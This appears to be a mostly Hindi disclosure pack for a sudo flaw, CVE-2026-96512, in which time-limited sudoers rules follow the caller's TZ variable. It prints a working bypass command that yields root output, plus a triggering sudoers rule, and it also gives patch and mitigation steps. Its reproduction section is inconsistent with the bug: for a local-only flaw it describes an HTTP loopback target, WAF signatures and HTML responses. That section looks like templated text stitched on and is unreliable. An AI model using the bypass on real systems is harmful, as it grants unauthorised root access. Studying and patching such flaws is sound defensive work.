abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  CVE-2026-96512

CVE-2026-96512

sudo 1.9.13p3 (Debian bookworm) — Sudo Project

sudo में एक त्रुटि पाई गई। जब sudoers नियम NOTBEFORE या NOTAFTER समय-आधारित एक्सेस प्रतिबंधों का उपयोग करते हैं और टाइमस्टैम्प में अंत में Z टाइमज़ोन संकेतक नहीं होता, तो समय मूल्यांकन कॉल करने वाले उपयोगकर्ता से विरासत में मिले TZ एनवायरनमेंट वेरिएबल पर निर्भर करता है।

एडवाइज़री (स्रोत मैप से)

plugins/sudoers parse_gentime / gram.y timespec. Fix sudo-project/sudo@1820a34 environ को envp से कॉपी करता है और TZ को unsetenv करता है।

प्रवेश

• Method: LOCAL
• Path: TZ=UTC+14 sudo -n /usr/bin/id
• Router: प्रमाणित स्थानीय sudoers नीति। Z के बिना NOTAFTER पर parse_gentime() mktime()। TZ sudoers विषय से विरासत में मिला।
• Notes: CVE-2026-96512 CWE-863 sudo 1.9.13p3. साक्ष्य: TZ=UTC+14 के साथ uid=0(root); TZ के बिना अस्वीकृत। रिवर्स शेल नहीं। केवल स्थानीय PR:L।

कॉल चेन

• sudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/id
• labuser sudo -n /usr/bin/id -> denied (expired)
• TZ=UTC+14 sudo -n /usr/bin/id
• parse_gentime mktime POSIX TZ=UTC+14 का पालन करता है
• NOTAFTER epoch +14h शिफ्ट होता है; कमांड को root के रूप में अनुमति दी जाती है

लैब पूर्वापेक्षाएँ

• sudo 1.8.20 से 1.9.17p2 तक
• हमलावर के लिए NOTBEFORE या NOTAFTER वाला sudoers नियम और अंत में Z नहीं

साक्ष्य

TZ के बिना: sudo -n id अस्वीकृत। TZ=UTC+14 के साथ: uid=0(root)।

सफलता नहीं

• TZ के बिना root (नियम अभी भी मान्य)
• रिमोट नेटवर्क एक्सेस
• रिवर्स शेल

पैच / उपचार

पहले यह करें: sudo को main commit 1820a34 (अभी तक कोई अपस्ट्रीम रिलीज़ नहीं) या नए संस्करण में अपडेट करें।

अपग्रेड के बाद सत्यापित करें

• पैच किए गए बिल्ड के विरुद्ध CVE-2026-96512-Abraxas-Labs.py को फिर से चलाएँ: मैप किया गया साक्ष्य नहीं दिखना चाहिए।
• तैनात ट्री में विक्रेता एडवाइज़री / चेंजसेट की पुष्टि करें (संदर्भ देखें)।
• WAF सिग्नेचर एक विलंब है, पैच नहीं।

यदि आप तुरंत अपडेट नहीं कर सकते

• प्रभावित घटक को अक्षम या अलग करें।
• उत्पादन पर साक्ष्य स्थिति की खोज करें (नए विशेषाधिकार प्राप्त उपयोगकर्ता, अप्रत्याशित फ़ाइलें, इंजेक्ट की गई पंक्तियाँ — जो भी इस CVE का मैप नाम देता है)।

पुनरुत्पादन (अधिकृत लैब)

लक्ष्य केवल http://127.0.0.1:8088 (या जो लूपबैक आपने बाइंड किया है)। इस स्क्रिप्ट को इंटरनेट पर न लक्षित करें।

python3 CVE-2026-96512-Abraxas-Labs.py

सफलता प्रतिक्रिया बॉडी में ऊपर दिया गया साक्ष्य है। सामान्य 200 HTML यह नहीं है।

लैब इमेज

पुनरुत्पादन के लिए उपयोग किया गया लूपबैक स्टैक। आधिकारिक इमेज, जब तक इस फ़ोल्डर में कोई Dockerfile स्रोत से बिल्ड न करे।

• lab/docker-compose.yml
• lab/Dockerfile

cd lab
docker compose up --force-recreate

यदि YAML किसी स्थानीय डायरेक्टरी को माउंट करता है (संस्करण तालिका से प्लगइन ज़िप / स्रोत टैग) तो कम्पोज़ के बगल में कमजोर उत्पाद ट्री को बाइंड करें। 127.0.0.1 के अलावा कुछ भी प्रकाशित न करें।

संदर्भ

• CVE-2026-96512 · NVD

• CVE-2026-96512 · CVE.org

• access.redhat.com/security/cve/cve-2026-96512

• http://www.openwall.com/lists/oss-security/2026/09/24/4

• github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c

• www.cve.org/CVERecord?id=CVE-2026-96512

• access.redhat.com/security/cve/CVE-2026-96512

• Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null

रिकॉर्ड (संरचित)

# CVE-2026-96512

CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).

## Description

sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.

## Product

sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.

लाइसेंस

यह डिस्क्लोज़र पैक GNU Affero General Public License v3.0 के अंतर्गत लाइसेंस प्राप्त है। देखें LICENSE।

अस्वीकरण

यह पैक विक्रेता, साइट स्वामी और लाइसेंस प्राप्त लैब के लिए है। स्क्रिप्ट 127.0.0.1 से बात करती है। उन सिस्टम के विरुद्ध इसका उपयोग करना जो आपके स्वामित्व में नहीं हैं, Abraxas Labs द्वारा अधिकृत नहीं है। कोई वारंटी नहीं।

abraxaslabs.tech · github.com/abraxas · @abraxas_null